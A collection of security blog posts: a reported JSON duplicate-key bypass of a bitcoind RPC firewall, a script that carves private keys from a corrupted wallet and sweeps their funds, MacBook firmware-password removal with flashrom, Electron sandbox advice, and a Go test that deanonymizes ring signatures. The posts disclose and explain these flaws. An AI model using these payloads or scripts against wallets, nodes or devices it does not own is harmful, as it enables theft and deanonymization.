Kewde

Hacking Bitcoin Wallets Through Differences In JSON Parsers

2020-12-15T09:00:00+00:00

TL;DR

I didn’t steal any bitcoin. I’ve reported it to the appropriate company and they were shocked at how a bug this simple could have left their wallets empty. Using different libraries to parse formats like JSON is a bad idea and can expose you to a type of attack that relies on different interpretations of the content by each parser. The microservice pattern introduces the ability to use amalgation of programming languages, but that typically also means differences in parsers.

Microservice Pattern

There’s a lot of love for the microservice pattern and rightfully so. In essence, the microservice pattern tends to lead to greater seperation of privileges and access. The code that decodes media objects such as videos and images runs in its own microservice, seperating it from the code that can access the database storing your VISA card credentials for example.

But the advocacy for the microservice pattern isn’t only coming from the security perspective.

The microservices architecture allowed Netflix to greatly speed up development and deployment of its platform and services. The company was able to build and test global services on a large scale without impacting the current system and they could quickly rollback if there were problems. The microservices architecture also allowed Netflix to create about 30+ independent engineering teams that could work on different release schedules which helped increase the agility and productivity of the development process. [0]

The main driver for organisations to adopt the microservice pattern is to enable faster development and deployments because each team operates more independently. Every team can pick their own stack (language, libraries, etc..) to use in order to optimize their particular workload.

Two steps forward, but also one step back

I consider it to be a better pattern than the monolith if applied correctly. But the step back is that it may breath new life into an age-old security bug: parser differences.

Here’s my advice for anyone out there building microservices:

The JSON format leaves gaps for interpretation so make sure that all parsers across all microservices are using a single way to interpret the content.

If you don’t quite catch what I’m trying to explain, here’s an example:

{
    "method": "sendtoaddress",
    "method": "listtransactions",
    "params": [...]
}

Notice how the method key is presented twice in this JSON payload, but which method of the two will it eventually execute? This the gap for interpretation that parsers silently deal with. This rather silent assumption can be a great attack vector.

Can we abuse the difference in interpretation by parser X used in microservice 1, which feeds data to parser Y in microservice 2?

Stealing Bitcoins Because Of A Parser Bug

This is an actual bugreport that I’ve submitted to a business that operates cryptocurrency nodes that a customer can rent. But one of their options allows exposing a limited interface of bitcoind, behind a custom firewall that blocks sensitive methods.

USER   ----> [ FIREWALL ]    ---->    [ bitcoind ]

The firewall microservice maintained a whitelist of methods (getblock, etc..) which was supposed to reject attempts to execute senstitive or malicious commands. If it passed the filter, it would then pass the COMPLETE payload to the bitcoind daemon, which would then execute and return the results.

Here’s an overview to two parsers at play:

firewall: LIFO (OpenResty from Lua)
bitcoind: FIFO (Boost (?) json parser from C++)

Let’s for example attempt to get the balance of the bitcoind node:

{
    "method": "getbalance"
}

We are met with the following response:

403 Forbidden

At this point I wondered whether we could bypass it, and naturally the first idea that I could come up with was setting it twice.

{
    "method": "getblock",
    "method": "getbalance"
}

403 Forbidden

It failed, but luckily I attempted to switch them around, just to be sure. This time we hit the jackpot!

{
    "method": "getbalance",
    "method": "getblock"
}

It returns the getbalance information instead of the error!

{
    "result": 5.35784803,
    "error": null,
    "id": null
}

The firewall is using a LIFO style parser, which returned getblock as the value of the key method. It accepted the request as valid and forwarded it to the bitcoind daemon which uses a FIFO style parser resulting in getbalance to be used as the value of the key method

Nice.

References:

0: https://smartbear.com/blog/develop/why-you-cant-talk-about-microservices-without-ment/

Corrupted Bitcoin Wallet + 30 Lines Of Code = 3000 USD

2020-11-17T09:00:00+00:00

The Story

A friend of a relative had brought in their Macbook Air, and kindly asked me to repair it. This required me to download the latest MacOS for which I didn’t have enough space for. In a desperate attempt, I decided to clean up my external hard drive, removing files that were taking up too much storage.

This is the exact moment that karma had found its way to my 4 AM adventure to fix this MacBook.

To my surprise I found a folder named “Btc”, where I stored episode of television shows. Apparently it has been there since 2015 - this must have been my very first wallet!

Sadly, the wallet wouldn’t open in bitcoin core, it has been corrupted. The db.log outputs the logs for the BerkeleyDB wallet file, it indicated the following error message:

file wallet.dat has LSN 780/2077553, past end of log at 1/333
Commonly caused by moving a database from one database environment
to another without clearing the database LSNs, or by removing all of
the log files from a database environment
DB_ENV->log_flush: LSN of 780/2077553 past current end-of-log of 1/333
Database environment corrupt; the wrong log files may have been removed or incompatible database files imported from another environment

Therefore I was forced to salvage the wallet somehow. The Bitcoin Core software has an option -salvagewallet which did not appear to help.

A bit of googling around and I found out that uncompressed private keys are prepended with 01 01 04 20. Time to take a quick scroll through the file in HxD, a popular hex editor!

I didn’t expect to get 145 hits, but what I certainly didn’t want to do was manually converting all of those hits to private keys and checking the balance.

The private key is 32 bytes long and is just after our prefix.

ffb2b2ed484fa1d5c9b2f4ad8e7ec696

So I got to work, the result is below.

Usage

pip install bit

Take the code below and put in a file named salvage.py Do not forget to uncomment and change the address variable on line 7.

Finally, run the script!

python salvage.py

It will output something like this, and if it finds funds, will automatically transfer them over to the address your specified. PS: do not post this publicly, the first string is the private key, followed by the address and finally the amount of btc.

91236845f793a1aabd01c1d9fe615b8b 14uxHyEs1rKcPTYxnxMFW9soVTgvQsGvZq 0
323a961695929abf201386aaf2187e1 1tEiRCzpR4fKzvTejZV3MJhymx1iDmHNd 0
f94048834d85608f3a822aa84799fb8f 1JgH79RGzm9QwbYKU8LSs1hiDHsNdvrhR 0
365480736196084e8d6c7bf7b5a5943d 16CUqJjUEpkE7n34UKjTGBn5ZWAC1EGbep 0
636c0638ff10d8d19e9f36b5bed1e06 1MefrcgGg8cuSRSFbjxBwMsid6FAXf2FNb 0
aba4471c95f8217c3bbfdfddde4e17c0 1GfuKWVfk9jcu9hoNekP8DxCu2AUvDWsH3 0
a46802436a1722a0494ea88c391e2358 1CZ1LepDyk4rbD9tbYpUW1fpCJfjGuWb9J 0
23cf4f0d928d0cbcb3791ff659d81ed7 1KvCXp43MxHZGA1uAZeL1qEww8Zvx7syHd 0
d9310b543473af26aaab9e7400b4070 1B1z1GDyUPCg63NwPr4JRNg9omrHnmtcgW 0
b19a010122ce93ced3f5889109e5af99 1HDs9h8SwZn95kBTU3VWZqRfcs1ZBUe8de 0
12fd6615262cb26dc7ef8b1b7be27b8f 1E3HW9Bb6GiD9d79oJsMZB52j9dXshmhzv 0
19cad87841864304a23812a893c8dfe0 18gxN33f8KYGWH9NxrJo1FBkAVq4L2im9B 0
2ede1602dc2a0574c72342362a2c446c 1C4hCdQhy1yEvRWv2qNVJkNmz61bfCPNAZ 0
a3b68584e2d9350e349a29afa555cf2b 16icLfzH2JPrzWEyNzw8Y7FRR2uUH68fG2 0
8f9fa69c9c4098ed98c7ec805131fd4f 1CZfJ3gfvfwPcfesKPxCTJo6PGAw5a4wFS 0
2d022112ea9d6710d08fcb4c695af606 1BSuQypnh14EFhZfqRVN9djjsU7yKSuEhQ 0
da406f8761d993d7138ee75b10e7600b 1LxAr1SBFmbQZacinq5qZhPSghM1Ncq33W 0
8ac6891b9ad67f860e258e82fe24aeaa 18UCnSmxLkjx6vQWULzEVX3wDyEojiFybr 0
54a005c84d9653e19771494c82360861 18VUZhJu5nSuP8ovJDejaVTrYZLaSL4q68 0
9c71627b14ac35b7a0b26dd316c4a324 1HyHdi6suCYDxMPo4vwio55KksHz34Pok4 0
daa514c0f215cb9ac314e47c214be022 1PNMuWtNoi5qdkNRW7P8Wg8b4SBuQxheiZ 0
c0292135b0df7fe7c11d2a76c3ae288b 1F4fEjExUneyDZxjHqRWofpBDf8yTiPyeJ 0
9baf68164b9b14dc1c9c10e49639fcfc 1BrKyAzwTBdVhjZgK4xqi7ZUMWKSD9jdSs 0
7f28390b03957683423956ad890bd0d8 1MbQauBHGR1JWeo9UdP49xaqYVcFP73Fw9 0

The Code

from bit import Key
from bit.format import bytes_to_wif
import re

wallet_file = "wallet.dat"
# Uncomment for security, set the address and uncomment.
#address = "ADDRESS_TO_SEND_TO"

def salvage(priv):
    key = Key.from_hex(priv)
    wif = bytes_to_wif(key.to_bytes(), compressed=False)
    key = Key(wif)
    print(priv + " " + key.address + " " + str(key.get_balance('btc')))
    if (float(key.get_balance('btc')) > 0):
        tx = key.send([], leftover=address)
    return key

with open(wallet_file, "rb") as f:
    matches = re.findall(b'\x01\x01\x04\x20(.{32})', f.read())

for priv in matches:
    salvage(priv.hex())

PyWallet

In retrospect, I could’ve used PyWallet but I decided not to.

Stricter validation

The PyWallet implementation does a lot more checks before it decides that a key is “valid”. It seems to be using a concept of both “prefixes” and “suffixes” for the keys. Additionally the prefix used in PyWallet is a lot larger, 308201130201010420 instead of 01010420. If by any chance a single character of the prefix and/or suffix get corrupted, it will not detect it as a key. My approach is more aggressive in the sense that it will attempt anything that might look like a key.

Unencrypted wallet

Additionally, my wallet was not encrypted, therefore it was a bit overkill to use PyWallet.

The real reason

I was ony my Windows machine and I didn’t feel like spending an hour to install dependencies like python-twisted, when I could get the job done with less code.

Nonetheless, PyWallet is a great tool and it is worth using for encrypted wallets.

MacBook Air - Hacking EFI Boot Password

2020-11-12T09:00:00+00:00

The Setup

Hooking up a bunch of wires to the motherboard of a MacBook isn’t something I felt comfortable to do, especially to a machine of a friend. The setup looks rather horrible, and I anxiously triple checked everything before applying any current, but it worked fine in the end.

A quick summary of what this does:

Fetch the firmware from a “bootloader” chip on the motherboard
Manually erase the password protection with empty FF hex characters
Write out the new firmware with the erased variables to the bootloader chip

The Original Post

I will not being going over the whole procedure, rather describe some of the modifications and troubles I ran into. https://blog.wzhang.me/2017/10/29/removing-mac-firmware-password-without-going-to-apple.html

I was going to copy over some of the initial tutorial but decided against it, instead I made sure the internet archive had a copy. Given that the above URL doesn’t work anymore, you can always find it on the internet archive.

Note 1: Enable SPI on the Raspberry Pi

The default behavior of the Raspberry Pi OS is to boot with SPI disabled. It can easily be enabled by editing the boot config and rebooting.

pi@raspberrypi:~ $ sudo nano /boot/config.txt

Scroll down and you should see the following line commented out:

#dtparam=spi=on

Remove the # in front and CTRL + X + Y to exit and save.

Time to reboot!

pi@raspberrypi:~ $ sudo shutdown -a

You should now find the SPI devices under /dev.

pi@raspberrypi:~ $ cd /dev/
pi@raspberrypi:/dev $ ls | grep spi
spidev0.0 spidev0.1

Note 2: Forcing a slower SPI Speed

If you use the flashrom command as described in the original post, then the Raspberry Pi will not detect your chip, there seems to be a bug.

flashrom -r read1.bin -c "MX25L3205D/MX25L3208D" -V -p linux_spi:dev=/dev/spidev0.0

Either it will say it has found a generic chip

Found Generic flash chip "unknown SPI chip (RDID)" (0 kB, SPI) on linux_spi.

Or it will proclaim to not have found one at all..

The solution is to lower the SPI Speed.

flashrom -r read1.bin -c "MX25L3205D/MX25L3208D" -V -p linux_spi:dev=/dev/spidev0.0,spispeed=512

Note 3: Verify the chipset model

There are a few models out there in MacBooks, mine was using a different model than the original post and therefore I had to apply some changes. You will have to adopt the parameters in your flashrom commands to accomodate for the difference.

node-sqlite3 - I simply can not do it alone.

2020-02-29T09:00:00+00:00

Introduction

I’ve split this blog post in two parts:

The emotional: my personal experience
The rational: what do we need

If I only posted the rational part, then I don’t think I would get the help I need to achieve what has to be done.

My personal experience

Someone once told me that I have to learn to say “no” more often. I am often too willing to say “yes”. Well today I’m saying no, I won’t do alone and I won’t allow myself to feel bad for saying it.

When someone asks for help, I always assume it is their last resort. If they could have done it alone, they would have. That’s why I tend to say “yes” way more often than is healthy for me.

I accepted this position because I need node-sqlite3 to be doing well, so that another project that I am working is also able to do well. You are only as weak as the things you depend on. That’s true for anything in life, not just programming. No, I’m not doing this to better the world for other people around me because I’m such a “nice person”. Fuck that. I’m doing this because I need it to stay alive and well maintained. My motivation for keeping it alive has always been a selfish need and I’m not ashamed to tell the world that.

Some people have convinced themselves that they are not doing open source for selfish reasons. Well, I disagree. The open source experience, or just helping other people in general, is very rewarding to you. But in the end, be honest with yourself, you’re still doing it for a selfish reason: “You personally feel better for having helped other people”. There is an endless stream of people who need help. I need help but I don’t want anyone to just help me because they personally feel better for doing a good act. I need the people who help out to be doing it for their own selfish reasons because I know that it will be better for the project in the long run.

All the hippy do-good bullshit about open source, it’s not the whole truth. If you honestly believe that open source works because people are kind and just want to make software to help others then you are fucking stupid. Write code because you need it, sharing it afterwards so others can use it, that’s just a nice benefit on the side like some salad. I will not leave, I can not leave. I will not abandon but I will not keep these frustrations to myself either. If you depend on this package then keep reading and perhaps it’s time you step up too.

Know your set of responsibilities. A set that you’re capable to bear and don’t take on any more. My responsibility to node-sqlite3 is to keep it alive and maintain it. To maintain an environment where growth is feasible, but I am not the one responsible for that growth. I only need node-sqlite3 to survive but what I would really want, is for it to thrive.

I appreciate the random PRs with improvements, honestly, it brings me a lot of joy to see them. But they are quite sporadic, people come and go. That’s not how open source software survives though. What node-sqlite3 needs is a few people who are dedicated to it. Ideally because they depend on it.

I have a university degree to finish, a master thesis to write, another project that actually generates an income for the effort I do. Doing things that I feel like I need to do, it brings me a lot of joy in life. It’s one of the reason I wake up with a big ass smile on my face in the mornings. I need the time to have meaningful relationships & bring joy to my friends and family. When I feel like I’m failing at those things, I become rather unhappy.

node-sqlite3 is one of the things I’ve been saving time on. It makes me a bit unhappy to fail at that, because it deserves better. I simply don’t have the time to give it what it deserves though, so I’m putting it out there in the hope that the right people will step up.

What do we need to do?

The plan is quite simple & straight forward. It doesn’t need a lot of explanation.

PR Review: should not be the job of a single person. I will not be merging any PR without someone else taking a look at it as well. Who? Critical thinkers with an eye for details & good at coming up with worst case scenarios.

Build system & CI: keep node-sqlite3 alive & able to grow. Maintenance because there is nothing worse than submitting a PR and random CI failures blocking it. Who? This is what I’ve been doing for the past few years and it’s a workload I’m comfortable with.

Benchmarks & performance analysis: there are major performance improvements to be made. We need proper benchmarks & flamecharts to analyse which areas have to be improved upon. Once the culprits have narrowed down, let’s fix them. Who? Someone who enjoys pushing the limits of optimization.

Issue management & questions: there are more than 280 issues open. Often people with just simple questions or small mistakes in their own code. Who? A nice and kind person with a lot of patience.

If you want to help, all the code is public on GitHub. If you don’t know where to start or unsure whether you are capable to contribute, send an email to kewde@particl.io Let’s get to work.

Particl - A Private and Decentralized Marketplace

2017-12-31T09:00:00+00:00

I did a presentation on Particl, the slides are available in pdf below.

Download particl.pdf

Electron-sandbox - creating more secure electron applications

2017-10-27T09:00:00+00:00

This repository has not been reviewed for security flaws by external parties, use at your own risk.

electron-sandbox

A simple code example of a sandboxed renderer process with the ability to communicate with backend (main.js) through IPC in a secure manner.

If you’re developing an electron application then I strongly recommend you to read the Blackhat Electron Security Checklist by Cerettoni.

preload-simple

A very simple pre-load script that serves as a dummy for tutorial purposes.

preload-extended

A pretty good implementation of a secure preload script, and main process initialization (main.js). It’s available in the subfolder named preload-extended. You can use this version in production.

https://github.com/kewde/electron-sandbox

usage

$ npm install electron
$ electron main.js

Why?

If you’re dealing with potentially untrusted content (displaying videos,images, text, etc..) in your Electron application, then you should run it with the sandbox enabled. The sandbox provided by Chrome is considered among the best in the browser space, it has the ability to mitigate certain zeroday exploits within the Chrome browser engine (Blink) by restricting the ability of what the attacker can do.

The sandbox is disabled by default in Electron (not in the official Chromium/Chrome builds). Enabling the sandbox removes the ability to use NodeJS freely within the renderer process. Code that uses NodeJS should be moved from the renderer process to the main process. The sandboxed renderer process can then communicate commands through IPC, triggering the execution of these tasks (in the privileged browser process main.js), which in turn feeds back the return values to the unprivileged/sandboxed process. The renderer process is restricted to the tasks that you allow it to execute, however a clever attacker could potentially use them to his/her benefit so construct the functionalliy carefully. Give the renderer process the least amount of privilege, “make it dumb”.

Things renderer processes shouldn’t be able to do:

execute/create a new more privileged process
freely read and write to whichever file they want
freely pick a channel to send IPC messages over (use a whitefilter instead)

Do not allow the renderer process to freely specify which files to access. The backend should have immutable file names & locations, or at the very least use a whitefilter for which files and directories the unprivileged

Bad example

renderer -> main: badDeleteFile /path/to/file
main -> renderer: OK deleteFile /path/to/file

Instead use predefined values, path & file name management should be whitelisted in the backend.

Good example

renderer -> main: deleteFile CONFIG
main: translates CONFIG into the right path + filename: /home/user/.config/store.cfg and deletes it
main -> renderer: OK deleteFile CONFIG

Terminology

Electron is built on top of Chromium, a multiprocess browser. What’s so important you might wonder, multiprocess sounds really boring. Well you’re probably right about that one. The reason for being a multiprocess browser is a simple one: security.

The idea behind it is equally simple, we split the weak from the strong. Code has bugs, and those bugs are sometimes exploitable. The thing is, as the complexity of code rises, the numbers of bugs rises too. The engine, that turns html, css & js into a visible thing on your screen, is one damn complex thing.

Every website you load, runs in its own process. Additionally if one tab (process) crashes, the rest of the browser still functions properly. The scope of the damage has been reduced to that single website.

rendering: turning code into what you see on your screen.

A lot of the complexity sits in the rendering engine, it’s also the engine that is responsable for executing the JavaScript being loaded in the html files! It’s exactly this engine that’s known to contain bugs. Have you ever been infected by visiting a website? The malicious entity probably found a way to exploit a bug in the rendering engine.

You haven’t forgotten the multiprocess thing right? Well the chromium browser actually executes this vulnerable rendering engine in its own processes. Multiple renderer process co-exist on the same host.

Renderer process: the renderer processes evaluate and render the html, css and executes js.

You might wonder, what executes the render processes? That’s a good question, with a simple answer: the browser process or also known as the main process. You can kinda look at the browser/main process as the boss who makes sure his minions are working.

Pro tip: Create two folders: ‘render’ and ‘main’. This will help you keep track of which files are executed in the main process and which ones are executed in the renderer process.

Seperating the browser from the rendering engine actually doesn’t do shit for security. Yeah I lied lol. Merely splitting it in multiple processes doesn’t do crap for security. This is where the real magic happens.

Protecting against such bugs is easier if we maintain two levels of access. The renderer processes is a baby. Do you know where babies like to play? They play in a sandbox, well it’s a magical sandbox. The sandbox is designed to contain the application and permission what it can do (it’s designed to be inescapable, but bugs happen..). Anything you do in the sandbox, stays in the sandbox (kinda). Technically speaking, the sandbox is a way to encapsulate existing code and execute it in the locked-down process with safeguards to prevent it from accessing or doing certain things. Want to know more about the Chromium sandbox? Take a look here!)

The browser/main process does not execute in such a sandbox, so it wields a lot more power than a renderer process. The renderer process is very limited in what it can do when it’s sandboxed, but it does have the ability to communicate with the browser process over Inter-Process Communication or IPC for short.

Electron is a bit of a different beast than Chromium, as it also provides you with a very powerful NodeJS API by default with your electron application. You might have already guessed it, the sandbox is disabled by default.

This example will re-enable the sandbox and deal with the limitations. We get a chance to do some of the NodeJS API in the renderer process. This is due to the preload.js script, it runs in a private scope but be carefully what you leak to the global scope (ie: attaching functions to the window) and it has some NodeJS functionality. We prefer having a more privileged environment, so we only use the preload script to act as a bridge. The bridge that connects the renderer process with the browser process: making available the ipcRenderer. Check out preload-simple.js or preload-extended.js for more information.

Good reads about Chromium & their sandbox:

Azimuth Security: Chrome Sandbox - Overview (1/3)

Azimuth Security: Chrome Sandbox - IPC (1/3)

Don’t bother looking for part 3 - it doesn’t seem to exist :(.

Good reads about how the sandbox works with electron & NodeJS

A quite in-depth presentation about the security of electron and how it can be improved:

Carettoni: a presentation on the findings of the security of electron

Electron: Sandbox docs

Carettoni: A checklist that every electron developer should know about!

Unique Ring Signatures (URS) - broken cryptography

2017-10-17T09:00:00+00:00

Disclaimer: the vulnerable code is not critical to the Monero cryptocurrency. The code is in no way or form used in the reference client of the CryptoNote protocol. However the code is managed by the Monero Project. The repository is under the name of the project so it should be held to some standards. Having old code laying around and disregarding it is not very smart.

The repository we analyzed is Unique Ring Signature (URS), a Golang implementation of traceable ring signatures.

The consequences of the vulnerability are sadly quite harsh, it results in complete deanonymization of a ring signature. Basically the worst case scenario for this specific cryptographic construct.

The bug resides in constructing the KeyImage, more specifically in how it maps a hash to a point on the curve.

Currently the implementation does the following

\[H_p = (SHA256)(P_i) \cdot G\]

instead of mapping the hash to the curve indeterministically (logarithm unknown).

The KeyImage is equal to

\[I = x_i \cdot H_p(P_i)\]

then combining both formulas results in

\[I = x_i \cdot (SHA256)(P_i) \cdot G\]

due to the associative nature of elliptic curves and keeping in mind that the public key is equal to \(P_i = x_i \cdot G\), we get the following equation:

\[I = P_i \cdot H_p(P_i)\]

An attacker is able to calculate the keyimage for all public keys of the ring and then match it with the one provided by the ring signature.

This is the same type of KeyImage bug that was discovered in ShadowCash.

Exploit testcase

When I discovered this bug I had no prior experience with Golang so I forwarded the issue over to Tecnovert to take a look at and verify that this was indeed the case. He made a few additions to the existing testcase (urs_test.go). The modified version below will simply generate a ring signature with 1000 ring members and then deanonymize it. You can easily check the additions to the test case here. Note that TestSign is where the magic happens.

// Copyright 2014 Hein Meling and Haibin Zhang. All rights reserved.
// Additions made by tecnovert (Particl).
// Use of this source code is governed by the MIT
// license that can be found in the LICENSE file.

package main

import (
	"crypto/ecdsa"
	"crypto/elliptic"
	"crypto/sha256"
	crand "crypto/rand"
	"fmt"
	"math/rand"
	"runtime"
	"testing"
)

const numOfKeys = 1000

var (
	DefaultCurve = elliptic.P256()
	keyring      *PublicKeyRing
	testkey      *ecdsa.PrivateKey
	testmsg      []byte
	testsig      *RingSign
)

func TestGenerateKey(t *testing.T) {
	runtime.GOMAXPROCS(4)
	var err error
	testkey, err = GenerateKey(DefaultCurve, crand.Reader)
	if err != nil {
		fmt.Println(err.Error())
		t.FailNow()
	}
}

func TestNewPublicKeyRing(t *testing.T) {
	keyring = NewPublicKeyRing(1)
	keyring.Add(testkey.PublicKey)
	expectedLen := 1
	if len(keyring.Ring) != expectedLen {
		t.Errorf("len(keyring)=%d, expected %d", len(keyring.Ring), expectedLen)
	}
}

func TestPopulateKeyRing(t *testing.T) {
	keyring = NewPublicKeyRing(numOfKeys)
	rand.Seed(23)
	k := rand.Intn(numOfKeys)
	fmt.Println("Index of my key: ", k)
	for i := 0; i < numOfKeys; i++ {
		key, err := GenerateKey(DefaultCurve, crand.Reader)
		if err != nil {
			fmt.Println(err.Error())
			t.FailNow()
		}
		if i == k { // designate this as my key
			testkey = key
		}
		// add the public key part to the ring
		keyring.Add(key.PublicKey)
	}
	if len(keyring.Ring) != numOfKeys {
		t.Errorf("len(keyring)=%d, expected %d", len(keyring.Ring), numOfKeys)
	}
}

func TestSign(t *testing.T) {
	testmsg = []byte("Hello, world.")
	var err error
	testsig, err = Sign(crand.Reader, testkey, keyring, testmsg)
	if err != nil {
		fmt.Println(err.Error())
		t.FailNow()
	}

	fmt.Printf("testsig.hsx %s\n", testsig.X.String())
	fmt.Printf("testsig.hsy %s\n", testsig.Y.String())

	mR := append(testmsg, keyring.Bytes()...)

	c := keyring.Ring[0].Curve
	h := sha256.New()
	h.Write(mR)
	d := h.Sum(nil)

	fmt.Printf("looping through ring of %d\n", keyring.Len())
	for j := 0; j < keyring.Len(); j++ {

		rx, ry := c.ScalarMult(keyring.Ring[j].X, keyring.Ring[j].Y, d)

		//if testsig.X == rx && testsig.Y == ry {
		if testsig.X.String() == rx.String() && testsig.Y.String() == ry.String() {
			fmt.Printf("Found signing key: %d\nx: %s\ny: %s\n", j, rx.String(), ry.String())
		}
	}

}

func TestVerify(t *testing.T) {
	if !Verify(keyring, testmsg, testsig) {
		fmt.Println("urs: signature verification failed")
		t.FailNow()
	}
}

func BenchmarkSign(b *testing.B) {
	runtime.GOMAXPROCS(8)
	var err error
	for i := 0; i < b.N; i++ {
		testsig, err = Sign(crand.Reader, testkey, keyring, testmsg)
		if err != nil {
			fmt.Println(err.Error())
			b.FailNow()
		}
	}
}

func BenchmarkVerify(b *testing.B) {
	runtime.GOMAXPROCS(8)
	for i := 0; i < b.N; i++ {
		if !Verify(keyring, testmsg, testsig) {
			fmt.Println("urs: signature verification failed")
			b.FailNow()
		}
	}
}